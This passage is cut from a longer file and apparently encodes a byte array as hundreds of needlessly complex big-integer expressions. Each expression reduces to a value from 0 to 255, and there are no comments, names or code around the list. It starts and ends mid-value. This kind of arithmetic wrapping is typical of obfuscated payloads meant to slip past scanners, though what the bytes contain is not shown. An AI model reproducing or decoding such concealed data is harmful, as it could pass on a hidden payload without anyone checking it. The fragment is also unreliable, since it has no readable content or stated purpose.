295477793071635258000, (14076916609468284578 + 37412) // 2 - 7038458304734142289 - 18659, (3994819907583338310 + 112750) // 2 - 1997409953791669155 - 56250, (920048260011552042 + 19592) // 2 - 460024130005776021 - 9765, (1124934482845703766 + 86366) // 2 - 562467241422851883 - 42984, (7971914365864939542 + 98092) // 2 - 3985957182932469771 - 48909, 75698220906344139453 - 75698220906344139444, (17511558465540477488 + 11446) // 2 - 8755779232770238744 - 5626, 922886775832571055000 - 922886775832571054890, 918634935920515580448 - 918634935920515580295, (2338219662917963216 + 62790) // 2 - 1169109831458981608 - 31280, (2879345404786642962 + 70650) // 2 - 1439672702393321481 - 35250, (9512809122667082186 + 24080) // 2 - 4756404561333541093 - 11868, 345330153937330818430 - 345330153937330818315, 271849323731306070168 - 271849323731306070045, (10027159070762657802 + 7412) // 2 - 5013579535381328901 - 3689, (7363335424706722328 + 66722) // 2 - 3681667712353361164 - 33288, 169107112748776935990 - 169107112748776935753, 500233506147786962880 - 500233506147786962775, 294490969977090408054 - 294490969977090407940, (18137653973997669770 + 106272) // 2 - 9068826986998834885 - 53013, (6160406041606739288 + 180320) // 2 - 3080203020803369644 - 89930, (2612643814680629042 + 35100) // 2 - 1306321907340314521 - 17505, 18513690557092666638 - 18513690557092666496, (12736884918353338084 + 13734) // 2 - 6368442459176669042 - 6846, 934655590905325830375 - 934655590905325830134, (3218492808233881056 + 108458) // 2 - 1609246404116940528 - 54102, 23435587389160673730 - 23435587389160673612, (3374625560005965086 + 11954) // 2 - 1687312780002982543 - 5934, 459048492633099321000 - 459048492633099320925, (8916031064823226392 + 16568) // 2 - 4458015532411613196 - 8246, 56093446746427325220 - 56093446746427325190, (7886922379501474880 + 85690) // 2 - 3943461189750737440 - 42636, 52399859383214635264 - 52399859383214635136, (6634887349498932448 + 148950) // 2 - 3317443674749466224 - 74250, 55176970862936369340 - 55176970862936369330, 147256240638105887798 - 147256240638105887761, (16146613745592739188 + 79170) // 2 - 8073306872796369594 - 39494, (13379688318631734256 + 176204) // 2 - 6689844159315867128 - 87899, 1293533870661599420422 - 1293533870661599420216, 74639001478839667254 - 74639001478839667093, 516727317162198289958 - 516727317162198289857, 382587782472716166168 - 382587782472716166099, 1248570068319761140312 - 1248570068319761140115, (18269867372934878258 + 115420) // 2 - 9134933686467439129 - 57511, 87700337043807022983 - 87700337043807022962, 742170636995789745800 - 742170636995789745625, 1744306717348916342970 - 1744306717348916342741, 517790043822904432720 - 517790043822904432650, 1616822149276146289400 - 1616822149276146289204, 2068499625941078945420 - 2068499625941078945187, 413134615058291758401 - 413134615058291758268, 1017836853257997338880 - 1017836853257997338688, 1109652900428952608190 - 1109652900428952607987, 9975655857648663714 - 9975655857648663693, (353510714166565766 + 20838) // 2 - 176755357083282883 - 10350, (5958294848254087584 + 137030) // 2 - 2979147424127043792 - 68322, (18387641089740690964 + 91778) // 2 - 9193820544870345482 - 45780, (6504082648707125458 + 2520) // 2 - 3252041324353562729 - 1255, (14617631845133581462 + 44336) // 2 - 7308815922566790731 - 22100, (10090398969751827088 + 19968) // 2 - 5045199484875913544 - 9792, 1291056790356851866722 - 1291056790356851866524, (6865335197688218258 + 64962) // 2 - 3432667598844109129 - 32400, (4206314405293431800 + 57630) // 2 - 2103157202646715900 - 28560, 1052151186823069033116 - 1052151186823069032882, 131147720555710998291 - 131147720555710998180, 1667554499831306604319 - 1667554499831306604078, (15748239010665166156 + 28288) // 2 - 7874119505332583078 - 14040, 468121046821613380764 - 468121046821613380710, (8577970069768580888 + 12682) // 2 - 4288985034884290444 - 6324, 32703637960820262786 - 32703637960820262640, 493473618899244496395 - 493473618899244496314, 555355771870626049408 - 555355771870626049280, 289611424833052430028 - 289611424833052429990, 489484641048292936310 - 489484641048292936200, (1589754783924484782 + 18170) // 2 - 794877391962242391 - 9006, (13287196877819834056 + 42420) // 2 - 6643598438909917028 - 21105, 676223266556559410751 - 676223266556559410640, (10274442328139544074 + 44896) // 2 - 5137221164069772037 - 22264, 465431738170030560808 - 465431738170030560576, (8647691747378416562 + 15120) // 2 - 4323845873689208281 - 7539, 191076588561490136652 - 191076588561490136493, 724630552827270463690 - 724630552827270463605, 469593570713917297113 - 469593570713917296964, 552015297472385831299 - 552015297472385831238, (6314470034527377772 + 15732) // 2 - 3157235017263688886 - 7843, (8376531688454274406 + 93990) // 2 - 4188265844227137203 - 46800, (12597713022700751192 + 51220) // 2 - 6298856511350375596 - 25545, (5181119914216213666 + 85680) // 2 - 2590559957108106833 - 42585, (3870015593415950122 + 66164) // 2 - 1935007796707975061 - 32844, 342864886304548419790 - 342864886304548419680, (16821140829002827702 + 37284) // 2 - 8410570414501413851 - 18403, 72401716823775363032 - 72401716823775363024, (16233693392914871456 + 133280) // 2 - 8116846696457435728 - 66402, (14085082476323071428 + 93000) // 2 - 7042541238161535714 - 46314, (4703246571198093218 + 54910) // 2 - 2351623285599046609 - 27360, 499258433739354586128 - 499258433739354585920, 1238580023284555087480 - 1238580023284555087344, 535190657765521102434 - 535190657765521102348, 12954447018469281816 - 12954447018469281797, (14139837628138712598 + 25272) // 2 - 7069918814069356299 - 12480, (1208040921196459542 + 16430) // 2 - 604020460598229771 - 8060, (5246709632014497208 + 33660) // 2 - 2623354816007248604 - 16796, (12511743037428918066 + 142504) // 2 - 6255871518714459033 - 71064, 589969784870029819368 - 589969784870029819152, (6905748407196120262 + 149568) // 2 - 3452874203598060131 - 74556, 483553558221855866192 - 483553558221855865996, (4557170676823509278 + 117820) // 2 - 2278585338411754639 - 58695, (3867213207093199982 + 28260) // 2 - 1933606603546599991 - 14085, (18081890412545880066 + 34194) // 2 - 9040945206272940033 - 16974, (7600813451670624110 + 226252) // 2 - 3800406725835312055 - 112879, (4010314226975589898 + 185724) // 2 - 2005157113487794949 - 92664, 2274227024106811683429 - 2274227024106811683182, (5928361134768695304 + 59752) // 2 - 2964180567384347652 - 29799, 75759559543067321127 - 75759559543067321058, (16154496503821865832 + 19296) // 2 - 8077248251910932916 - 9624, (17091025917998328572 + 3192) // 2 - 8545512958999164286 - 1589, (5135681440811393636 + 84280) // 2 - 2567840720405696818 - 42054, 125259678512242758540 - 125259678512242758525, (944993706283945292 + 68068) // 2 - 472496853141972646 - 33880, 313199501287391755140 - 313199501287391755101, 1956199907129468629746 - 1956199907129468629533, (9016089863580908830 + 30012) // 2 - 4508044931790454415 - 14883, 508436768154890966950 - 508436768154890966753, 264479069676377151630 - 264479069676377151600, (11743893601285496290 + 52782) // 2 - 5871946800642748145 - 26334, 30188987328213301598 - 30188987328213301405, 1026533047562991063914 - 1026533047562991063753, (7454134683583405316 + 89040) // 2 - 3727067341791702658 - 44415, 586775908123924829648 - 586775908123924829502, 212393866123623224047 - 212393866123623224018, 491802268393014387682 - 491802268393014387609, (14628860517237750738 + 116850) // 2 - 7314430258618875369 - 58220, (5450193042775661624 + 23452) // 2 - 2725096521387830812 - 11583, 236330948994684516502 - 236330948994684516468, 840171114709699908080 - 840171114709699907970, 156972374971404285950 - 156972374971404285925, (9743239736309868092 + 16632) // 2 - 4871619868154934046 - 8253, (8445559308168954984 + 50796) // 2 - 4222779654084477492 - 25347, 1113646575403935366400 - 1113646575403935366240, 55872635798979662472 - 55872635798979662463, 216908727004337905119 - 216908727004337905086, 1753524724294019479920 - 1753524724294019479712, (16507915132078712528 + 16380) // 2 - 8253957566039356264 - 8125, 766796265054104493746 - 766796265054104493568, (18409296005830430884 + 16356) // 2 - 9204648002915215442 - 8037, 77039793595229337828 - 77039793595229337712, 592567006233728157145 - 592567006233728157056, 713935084905916121161 - 713935084905916121012, (11368196214876490168 + 121500) // 2 - 5684098107438245084 - 60615, (4933172697623376938 + 115092) // 2 - 2466586348811688469 - 57339, (1117355044040097598 + 89154) // 2 - 558677522020048799 - 44450, (4128421082910550302 + 808) // 2 - 2064210541455275151 - 400, (16127925577319550308 + 191688) // 2 - 8063962788659775154 - 95648, (11829276382432141066 + 34632) // 2 - 5914638191216070533 - 17242, (14973277152784711920 + 66352) // 2 - 7486638576392355960 - 33072, 1520466663384033939410 - 1520466663384033939220, (2275288011733727102 + 75264) // 2 - 1137644005866863551 - 37536, 1041737896029552943948 - 1041737896029552943736, 324024946680889426474 - 324024946680889426412, 683316969962162003520 - 683316969962162003360, (16463310937518528446 + 18980) // 2 - 8231655468759264223 - 9425, (11270485966909832408 + 127380) // 2 - 5635242983454916204 - 63497, (2990034262423251822 + 47912) // 2 - 1495017131211625911 - 23850, (1952671698149383328 + 101120) // 2 - 976335849074691664 - 50400, 116007078893942312952 - 116007078893942312928, (11848514130245088734 + 17784) // 2 - 5924257065122544367 - 8856, 222722409273924991382 - 222722409273924991221, 18788370379387461950 - 18788370379387461919, 162744518929847855204 - 162744518929847855173, (16035950668762627814 + 30176) // 2 - 8017975334381313907 - 15006, (5147274740179514874 + 72718) // 2 - 2573637370089757437 - 36256, 475561953095260065576 - 475561953095260065412, 393244317528382591296 - 393244317528382591173, (4737099444817998350 + 86978) // 2 - 2368549722408999175 - 43332, 16704072997553860641 - 16704072997553860638, (5994156025059272348 + 59436) // 2 - 2997078012529636174 - 29464, (4406842484857097378 + 97162) // 2 - 2203421242428548689 - 48480, 1122945145917820261764 - 1122945145917820261608, (6884416248908939854 + 46644) // 2 - 3442208124454469927 - 23153, 392762490844849992876 - 392762490844849992639, 986890926550218438778 - 986890926550218438564, (6142864231776661270 + 22788) // 2 - 3071432115888330635 - 11340, (16463194327026660668 + 76704) // 2 - 8231597163513330334 - 38148, 455334629978175263393 - 455334629978175263316, 168135648884941828958 - 168135648884941828909, 485462260976523390480 - 485462260976523390248, (16145637680390531902 + 55096) // 2 - 8072818840195265951 - 27477, 33774700612836355706 - 33774700612836355675, 101006140260125187747 - 101006140260125187736, 1246353559624701925915 - 1246353559624701925670, 97216977154115843640 - 97216977154115843628, (13139946294846308816 + 97768) // 2 - 6569973147423154408 - 48682, 309326919808214190792 - 309326919808214190688, (14286615091949709074 + 27716) // 2 - 7143307545974854537 - 13776, (6144500980871234946 + 15228) // 2 - 3072250490435617473 - 7567, (10688941208001750136 + 48000) // 2 - 5344470604000875068 - 23808, 869394294834079703070 - 869394294834079702855, 422904360272369716548 - 422904360272369716497, 2022890849491681148816 - 2022890849491681148590, (11852939853356533234 + 76362) // 2 - 5926469926678266617 - 38038, 231463364888118663272 - 231463364888118663244, 219557181654764233884 - 219557181654764233710, (16660844773012105366 + 164384) // 2 - 8330422386506052683 - 82016, (2426221745249792232 + 187502) // 2 - 1213110872624896116 - 93524, 343637979995917523604 - 343637979995917523475, (4948669640725235290 + 40950) // 2 - 2474334820362617645 - 20300, 185358000508700863758 - 185358000508700863724, (9632625700021941882 + 19292) // 2 - 4816312850010970941 - 9464, (10128380744855788476 + 131296) // 2 - 5064190372427894238 - 65472, (16129771976859856000 + 18200) // 2 - 8064885988429928000 - 9035, 1333833329440522227540 - 1333833329440522227370, 1269247848010469895645 - 1269247848010469895466, 1116105472065036371688 - 1116105472065036371562, (1925022357457345040 + 19210) // 2 - 962511178728672520 - 9520, 52650069659489994588 - 52650069659489994579, (10328190978273249352 + 18998) // 2 - 5164095489136624676 - 9338, 567183352491968192890 - 567183352491968192760, (2543039543663053784 + 96356) // 2 - 1271519771831526892 - 47957, (2844761737558064414 + 146718) // 2 - 1422380868779032207 - 73188, (1722660866410691378 + 12896) // 2 - 861330433205345689 - 6386, (1031986354603564494 + 79600) // 2 - 515993177301782247 - 39601, 2126110102663325366768 - 2126110102663325366535, (5391200979487960218 + 48470) // 2 - 2695600489743980109 - 24050, (18182698091376581376 + 27348) // 2 - 9091349045688290688 - 13545, 431483793403090884200 - 431483793403090884100, (4454356364469681192 + 163240) // 2 - 2227178182234840596 - 81408, (12163818136735472706 + 30856) // 2 - 6081909068367736353 - 15225, (3561604885877103040 + 41496) // 2 - 1780802442938551520 - 20592, 88843387103427587076 - 88843387103427587022, 1078075556581802786464 - 1078075556581802786225, 284332281181937605876 - 284332281181937605680, (17938048943430904372 + 118272) // 2 - 8969024471715452186 - 58944, 494503634562797656522 - 494503634562797656313, (1509969125559232770 + 34580) // 2 - 754984562779616385 - 17199, 204834155270660037844 - 204834155270660037785, (5860743037044905904 + 37920) // 2 - 2930371518522452952 - 18880, (671728606690639150 + 168662) // 2 - 335864303345319575 - 84162, (2790128436515730868 + 32524) // 2 - 1395064218257865434 - 16215, (2287350037008114184 + 53628) // 2 - 1143675018504057092 - 26732, (11316142088611335756 + 132300) // 2 - 5658071044305667878 - 65961, (2315328314834933028 + 57600) // 2 - 1157664157417466514 - 28704, 80548914025805758661 - 80548914025805758560, (7213851817595127720 + 12354) // 2 - 3606925908797563860 - 6148, 627901672437241835148 - 627901672437241834944, 1149013445315974352334 - 1149013445315974352136, 250510528363181813936 - 250510528363181813848, (8314677389748190728 + 17018) // 2 - 4157338694874095364 - 8382, (16420770562909680966 + 24704) // 2 - 8210385281454840483 - 12288, 22879847991748818300 - 22879847991748818225, 674190454470378606684 - 674190454470378606432, (3439569959197397792 + 174564) // 2 - 1719784979598698896 - 87048, 1789083209182450968050 - 1789083209182450967820, 449181752873510460216 - 449181752873510460118, 1431544619160507647125 - 1431544619160507646940, 960186400480758993940 - 960186400480758993824, (12492907483363223316 + 33522) // 2 - 6246453741681611658 - 16610, 395308406648451680956 - 395308406648451680813, (17730967666236794696 + 214248) // 2 - 8865483833118397348 - 106898, (7257444221629447276 + 69000) // 2 - 3628722110814723638 - 34350, 1040418032575662633601 - 1040418032575662633404, (1780069890141688330 + 34450) // 2 - 890034945070844165 - 17160, 298861776762972817947 - 298861776762972817896, (5036545313992799016 + 91520) // 2 - 2518272656996399508 - 45552, 506607427196709277406 - 506607427196709277197, (1660443882521526866 + 77700) // 2 - 830221941260763433 - 38739, 253307904030508215428 - 253307904030508215282, (13846878768492151902 + 138960) // 2 - 6923439384246075951 - 69300, 771310279200960293080 - 771310279200960292992, (11190729991411194810 + 65720) // 2 - 5595364995705597405 - 32754, (1358712536688272998 + 8388) // 2 - 679356268344136499 - 4176, 729781472589760303954 - 729781472589760303727, (13712120203051836092 + 125976) // 2 - 6856060101525918046 - 62807, (3011814685702237910 + 79902) // 2 - 1505907342851118955 - 39744, 61285894525433339703 - 61285894525433339694, 1425975283193438272298 - 1425975283193438272087, (1532238124949223190 + 8280) // 2 - 766119062474611595 - 4125, (17696390551577663136 + 7950) // 2 - 8848195275788831568 - 3900, 457668825610357125350 - 457668825610357125300, 2091275161352005220873 - 2091275161352005220634, 1388443351050192330741 - 1388443351050192330542, (14234675680860586242 + 47824) // 2 - 7117337840430293121 - 23856, 128180747237321009210 - 128180747237321009196, (12783293488598879550 + 76032) // 2 - 6391646744299439775 - 37920, (16426851406875781954 + 42534) // 2 - 8213425703437890977 - 21216, 54574755254498424552 - 54574755254498424406, (2261782958670389952 + 76000) // 2 - 1130891479335194976 - 37810, 447656093854146598589 - 447656093854146598540, 26919900469454600140 - 26919900469454599922, (13296874949980100382 + 36660) // 2 - 6648437474990050191 - 18252, (7308020516050677674 + 63232) // 2 - 3654010258025338837 - 31540, (18034660057684305388 + 155800) // 2 - 9017330028842152694 - 77736, 1404172936435296192324 - 1404172936435296192120, 726200811594385595672 - 726200811594385595520, (15378135650355513072 + 76288) // 2 - 7689067825177756536 - 37995, 55598941166223956501 - 55598941166223956358, (15420916997049893830 + 98880) // 2 - 7710458498524946915 - 49337, 578662191754266544854 - 578662191754266544772, (4194556328539823664 + 19000) // 2 - 2097278164269911832 - 9462, 1369110311369515717560 - 1369110311369515717370, 48177775590322451740 - 48177775590322451582, 695398402649711024199 - 695398402649711024050, 972337144859638499942 - 972337144859638499799, 65360268151162598286 - 65360268151162598232, 1223663178016270440396 - 1223663178016270440254, 350516995077217461320 - 350516995077217461207, (12376175427341757968 + 25476) // 2 - 6188087713670878984 - 12545, (8528915669038560126 + 51040) // 2 - 4264457834519280063 - 25288, (2188560932755375268 + 248502) // 2 - 1094280466377687634 - 124002, 1879432662846656343366 - 1879432662846656343147, 81591916434140149128 - 81591916434140149092, 45689855172175382014 - 45689855172175382000, 149000042398774056384 - 149000042398774056360, 279784073345973064473 - 279784073345973064440, (857894449684393104 + 124488) // 2 - 428947224842196552 - 62010, (11990601817970570244 + 66880) // 2 - 5995300908985285122 - 33280, (10347145605884147748 + 50244) // 2 - 5173572802942073874 - 24963, 483380920896243741602 - 483380920896243741448, (8249347905145851108 + 36064) // 2 - 4124673952572925554 - 17986, 421232056400765300029 - 421232056400765299932, 148467089521729420596 - 148467089521729420533, (17058695944349694180 + 194850) // 2 - 8529347972174847090 - 97200, 163776972012816267324 - 163776972012816267176, 898493009717461794966 - 898493009717461794768, 311203198736354533342 - 311203198736354533208, 932066451470759390240 - 932066451470759390080, (6904464751981919826 + 52704) // 2 - 3452232375990959913 - 26291, (11930321606389695928 + 236) // 2 - 5965160803194847964 - 117, (6192864441426881716 + 2286) // 2 - 3096432220713440858 - 1134, 1504429043808537554935 - 1504429043808537554750, (14894543420283592536 + 32936) // 2 - 7447271710141796268 - 16376, (15414495348286173026 + 52704) // 2 - 7707247674143086513 - 26280, 282305631497280635898 - 282305631497280635841, (17133982613113824404 + 29880) // 2 - 8566991306556912202 - 14774, (7300156364015550824 + 3216) // 2 - 3650078182007775412 - 1596, (16082172063464399782 + 117920) // 2 - 8041086031732199891 - 58784, 363404069384233982161 - 363404069384233981932, 974524751618998203925 - 974524751618998203806, (17037552439162624550 + 50968) // 2 - 8518776219581312275 - 25392, (1452974553109954018 + 70532) // 2 - 726487276554977009 - 35112, 517695896267746753024 - 517695896267746752920, (11346328043744254180 + 29796) // 2 - 5673164021872127090 - 14859, 637261045699318512274 - 637261045699318512152, 847339487813387090272 - 847339487813387090141, 593534196345297941240 - 593534196345297941175, 739345348721278283400 - 739345348721278283200, 1482705206820762432636 - 1482705206820762432462, 102830185763906547438 - 102830185763906547212, (12659984606420583142 + 44982) // 2 - 6329992303210291571 - 22302, (2111545209627478166 + 159856) // 2 - 1055772604813739083 - 79734, 1334192475075460236750 - 1334192475075460236600, (4245765654098182672 + 38646) // 2 - 2122882827049091336 - 19266, (5874709300386507090 + 49266) // 2 - 2937354650193253545 - 24480, (11181563934150572974 + 72960) // 2 - 5590781967075286487 - 36252, (8806326764214979224 + 17136) // 2 - 4403163382107489612 - 8505, (6441700126957321274 + 11840) // 2 - 3220850063478660637 - 5904, (4928105186869015332 + 24552) // 2 - 2464052593434507666 - 12183, (7780129404546958578 + 23858) // 2 - 3890064702273479289 - 11850, 1381179100095335600631 - 1381179100095335600460, (5588423060897075844 + 19800) // 2 - 2794211530448537922 - 9720, (9970829553381118524 + 107296) // 2 - 4985414776690559262 - 53536, (17635519195830556732 + 75692) // 2 - 8817759597915278366 - 37697, 51415980106694232825 - 51415980106694232672, (4931146264763824888 + 202440) // 2 - 2465573132381912444 - 100979, 295366769519320210040 - 295366769519320209835, 901807983392535567432 - 901807983392535567271, (10847131438121316102 + 79100) // 2 - 5423565719060658051 - 39437, 1264934816322559317980 - 1264934816322559317738, 63059282623287753426 - 63059282623287753348, 616520113544495108342 - 616520113544495108109, (2676404488189149886 + 27560) // 2 - 1338202244094574943 - 13674, 1116801748654156745440 - 1116801748654156745289, 5033517167178870147 - 5033517167178870116, (2474948259267871998 + 20384) // 2 - 1237474129633935999 - 10101, (11921433448158807894 + 28536) // 2 - 5960716724079403947 - 14094, (4234851644585057012 + 6174) // 2 - 2117425822292528506 - 3038, (18118412848790764244 + 12546) // 2 - 9059206424395382122 - 6150, 617509013346450498668 - 617509013346450498537, 1915506162089416787952 - 1915506162089416787720, (8397849255183477470 + 14416) // 2 - 4198924627591738735 - 7140, (4162909970274102410 + 362) // 2 - 2081454985137051205 - 180, (14900953472792474148 + 88704) // 2 - 7450476736396237074 - 44128, (4034050868984528494 + 70288) // 2 - 2017025434492264247 - 34960, (16511795586358234760 + 96288) // 2 - 8255897793179117380 - 48026, 865609495150238809740 - 865609495150238809520, (13007204188048764806 + 17600) // 2 - 6503602094024382403 - 8750, 307111765516946541440 - 307111765516946541312, 548538195299700652186 - 548538195299700652067, (16497692971429154854 + 78996) // 2 - 8248846485714577427 - 39324, 79575071504727931968 - 79575071504727931880, (3460747126484586212 + 45100) // 2 - 1730373563242293106 - 22345, (4691418763599568018 + 60256) // 2 - 2345709381799784009 - 30016, (1130982971215746192 + 140544) // 2 - 565491485607873096 - 70080, (15191674128945324130 + 0) // 2 - 7595837064472662065 - 0, (15936894754627747014 + 124740) // 2 - 7968447377313873507 - 62139, (662850359763248052 + 16864) // 2 - 331425179881624026 - 8364, 372175604418971446542 - 372175604418971446440, (6353773377107004940 + 49830) // 2 - 3176886688553502470 - 24860, (4559529983303792028 + 92886) // 2 - 2279764991651896014 - 46330, (13352311542984731502 + 3100) // 2 - 6676155771492365751 - 1540, (8288599392167121126 + 48240) // 2 - 4144299696083560563 - 24048, (13370315450769394540 + 7784) // 2 - 6685157725384697270 - 3864, 207541111864371456556 - 207541111864371456479, 1459879433634698907462 - 1459879433634698907255, 721354545353803426762 - 721354545353803426596, (9659285816126313890 + 61132) // 2 - 4829642908063156945 - 30504, (12800943633549894324 + 153872) // 2 - 6400471816774947162 - 76773, (8323273320653037946 + 179334) // 2 - 4161636660326518973 - 89424, (17120955255034186724 + 39160) // 2 - 8560477627517093362 - 19525, (16427990733192944040 + 45084) // 2 - 8213995366596472020 - 22464, 125992300303336002228 - 125992300303336002200, (16090060095140312926 + 21836) // 2 - 8045030047570156463 - 10815, 381768771481017466780 - 381768771481017466698, 276405675605585001941 - 276405675605585001910, (17666910438060601478 + 64440) // 2 - 8833455219030300739 - 32040, (2349050088794742688 + 27900) // 2 - 1174525044397371344 - 13795, 436648582679359946058 - 436648582679359945979, 48752569576266231444 - 48752569576266231432, (17747852379807928678 + 124992) // 2 - 8873926189903964339 - 62328, 216730044021193682004 - 216730044021193681968, 643658336829191053250 - 643658336829191053125, (16334258609361560502 + 81536) // 2 - 8167129304680780251 - 40677, 1649806268876458167300 - 1649806268876458167090, (7198653235164676042 + 101248) // 2 - 3599326617582338021 - 50398, 423094319659821804987 - 423094319659821804750, (10734031635632682754 + 22052) // 2 - 5367015817816341377 - 10877, 138024321348413717751 - 138024321348413717532, 26491869276001357860 - 26491869276001357824, (5257171622755199058 + 78952) // 2 - 2628585811377599529 - 39334, 952987359475580617664 - 952987359475580617440, (7526775292152636558 + 6706) // 2 - 3763387646076318279 - 3346, 879431380942746228408 - 879431380942746228170, 258391599057635425317 - 258391599057635425200, (4663458908489662974 + 9790) // 2 - 2331729454244831487 - 4884, (310086270089120598 + 36464) // 2 - 155043135044560299 - 18179, (14499563103513431260 + 147180) // 2 - 7249781551756715630 - 73367, 1398636911301043083962 - 1398636911301043083748, (12413309873190750576 + 105040) // 2 - 6206654936595375288 - 52318, (13967748471688251346 + 77616) // 2 - 6983874235844125673 - 38661, (9359631157001071092 + 19596) // 2 - 4679815578500535546 - 9752, (18351724393851361448 + 157662) // 2 - 9175862196925680724 - 78660, (14376823937310027036 + 135212) // 2 - 7188411968655013518 - 67452, (4037555759525835730 + 25994) // 2 - 2018777879762917865 - 12956, 1469543149549271028960 - 1469543149549271028780, 742240147751861705090 - 742240147751861704968, (9947092170659416588 + 159278) // 2 - 4973546085329708294 - 79422, 160750153272461146020 - 160750153272461145960, (1493426329677447640 + 28294) // 2 - 746713164838723820 - 14100, 1267848617371661790528 - 1267848617371661790304, (9402385036080655014 + 111936) // 2 - 4701192518040327507 - 55756, (13651099164381015320 + 33048) // 2 - 6825549582190507660 - 16422, 1870921660463570096577 - 1870921660463570096330, (15308960502731356506 + 82770) // 2 - 7654480251365678253 - 41292, 766208480053868191020 - 766208480053868190905, 215037449272139877360 - 215037449272139877214, 1590456511312851891606 - 1590456511312851891384, (18203786192700161814 + 19968) // 2 - 9101893096350080907 - 9888, 1116589242867503424510 - 1116589242867503424340, 1458342874142546642712 - 1458342874142546642535, 637790037275063291376 - 637790037275063291282, (1058526840632750860 + 121660) // 2 - 529263420316375430 - 60676, 2057101742350815088275 - 2057101742350815088050, (15934081310238773832 + 186224) // 2 - 7967040655119386916 - 92886, 599939802344060718920 - 599939802344060718736, (14533278174613689352 + 183600) // 2 - 7266639087306844676 - 91596, 1770419356973200992846 - 1770419356973200992627, (6878442365500625638 + 90720) // 2 - 3439221182750312819 - 45108, (8433997892935234918 + 238108) // 2 - 4216998946467617459 - 118813, (8425625704247082382 + 97200) // 2 - 4212812852123541191 - 48357, 194545258006482136425 - 194545258006482136390, 1369572495098086642496 - 1369572495098086642258, (16584800699202032724 + 4862) // 2 - 8292400349601016362 - 2418, (16870295653788945588 + 33288) // 2 - 8435147826894472794 - 16571, (14679812663673916776 + 25652) // 2 - 7339906331836958388 - 12773, 695768189387749873035 - 695768189387749872942, (10647574025272924594 + 64372) // 2 - 5323787012636462297 - 31977, (13187344876416826434 + 15862) // 2 - 6593672438208413217 - 7854, (8615342858213870640 + 111254) // 2 - 4307671429106935320 - 55484, 1588333757654959345810 - 1588333757654959345620, (16196844725840091700 + 13144) // 2 - 8098422362920045850 - 6510, (971340110949774528 + 105840) // 2 - 485670055474887264 - 52785, (7048014049676756774 + 84412) // 2 - 3524007024838378387 - 42112, 504199368725431323357 - 504199368725431323294, 334009739303745207936 - 334009739303745207744, 406370903079479212745 - 406370903079479212680, (730603180211579916 + 11286) // 2 - 365301590105789958 - 5624, 1706531964587439352462 - 1706531964587439352220, (3206400424919273162 + 26970) // 2 - 1603200212459636581 - 13398, 473261165463401771228 - 473261165463401771112, 1227817617681117910122 - 1227817617681117909888, (184562571531222520 + 12528) // 2 - 92281285765611260 - 6148, 90364736702563279048 - 90364736702563279001, 1746462538062622618980 - 1746462538062622618770, (16673979276680791004 + 24120) // 2 - 8336989638340395502 - 11880, 272448121769961891225 - 272448121769961891150, 1434285059757149678202 - 1434285059757149678023, 443758978097142613136 - 443758978097142613024, 222341246854562159210 - 222341246854562159076, 383440711272496379528 - 383440711272496379466, 553584947984901247037 - 553584947984901246838, (11197493547733512004 + 219880) // 2 - 5598746773866756002 - 109701, (16778956982471148826 + 47120) // 2 - 8389478491235574413 - 23312, (13929822299375757178 + 218700) // 2 - 6964911149687878589 - 109125, (4431096189121229212 + 94528) // 2 - 2215548094560614606 - 47040, (2969188463914982078 + 11760) // 2 - 1484594231957491039 - 5845, 11490295045337234616 - 11490295045337234602, 398388150958535062360 - 398388150958535062208, (1404399288971165148 + 2242) // 2 - 702199644485582574 - 1102, (15862913068165426994 + 23632) // 2 - 7931456534082713497 - 11605, 873439624282662116370 - 873439624282662116141, 640522040260513349232 - 640522040260513349088, (5505212999290998958 + 66060) // 2 - 2752606499645499479 - 32940, 1259996518263754816547 - 1259996518263754816366, (13250802418331009916 + 33152) // 2 - 6625401209165504958 - 16428, (17114148210488288538 + 13332) // 2 - 8557074105244144269 - 6565, 984222942077839968516 - 984222942077839968328, 248840337144317411220 - 248840337144317411090, (165629109740775050 + 58144) // 2 - 82814554870387525 - 28980, 92255144134744329825 - 92255144134744329800, 1721087151864753996015 - 1721087151864753995784, 109314500116960108890 - 109314500116960108705, 1521208241293516956011 - 1521208241293516955760, (2947821978921553132 + 14384) // 2 - 1473910989460776566 - 7068, (15527706723063532092 + 21504) // 2 - 7763853361531766046 - 10720, 210694728697292131200 - 210694728697292130960, 458037600753464675041 - 458037600753464674850, 2028461619116751237550 - 2028461619116751237296, (4569517351447042912 + 53502) // 2 - 2284758675723521456 - 26510, (2003028187757229516 + 41360) // 2 - 1001514093878614758 - 20445, (10556492783211724594 + 35880) // 2 - 5278246391605862297 - 17894, (1417489460409807732 + 203040) // 2 - 708744730204903866 - 101285, 228160856136954917880 - 228160856136954917808, 268875752857137574324 - 268875752857137574280, 504674811198149279116 - 504674811198149278992, 1753834916997346645617 - 1753834916997346645378, (9365854088200854474 + 28552) // 2 - 4682927044100427237 - 14233, 65190869467441887184 - 65190869467441887168, (13468971796780241724 + 15038) // 2 - 6734485898390120862 - 7446, (8560526486699542798 + 20020) // 2 - 4280263243349771399 - 9828, (9422275567586284940 + 71416) // 2 - 4711137783793142470 - 35595, 22401292303231343250 - 22401292303231343247, 1335890113271445859941 - 1335890113271445859768, 1417996494977259040682 - 1417996494977259040464, (14674228940343930436 + 86632) // 2 - 7337114470171965218 - 43134, 103389137158774474176 - 103389137158774474164, (8942488714163243838 + 62426) // 2 - 4471244357081621919 - 31122, 277682444105857612926 - 277682444105857612792, (14980040129642660912 + 11400) // 2 - 7490020064821330456 - 5624, 47156980606869507698 - 47156980606869507492, (11251669476693930792 + 90240) // 2 - 5625834738346965396 - 45024, 6100765668338888775 - 6100765668338888772, 374431037840446639140 - 374431037840446639069, 992274241360043064706 - 992274241360043064564, (11796167594339194878 + 62348) // 2 - 5898083797169597439 - 31065, (16362333470148247940 + 60300) // 2 - 8181166735074123970 - 30060, 1427854710880441863882 - 1427854710880441863708, 560361646657091117832 - 560361646657091117586, (13207080599539466052 + 28980) // 2 - 6603540299769733026 - 14260, (2678391373060342970 + 137448) // 2 - 1339195686530171485 - 68517, 42986098568569007192 - 42986098568569007184, (14254489975659674882 + 34320) // 2 - 7127244987829837441 - 17120, (12960884514457595448 + 80740) // 2 - 6480442257228797724 - 40260, 613694739542869089333 - 613694739542869089180, (11584850186481913706 + 5832) // 2 - 5792425093240956853 - 2904, (7954175756664555116 + 27300) // 2 - 3977087878332277558 - 13572, (17690224365339379810 + 88208) // 2 - 8845112182669689905 - 43956, 527824154562820440580 - 527824154562820440504, (1719518003285658032 + 31512) // 2 - 859759001642829016 - 15655, (15274832862359134326 + 54032) // 2 - 7637416431179567163 - 26928, (2330409955920577264 + 107474) // 2 - 1165204977960288632 - 53628, 1191402336653767074798 - 1191402336653767074564, 25436583137583163532 - 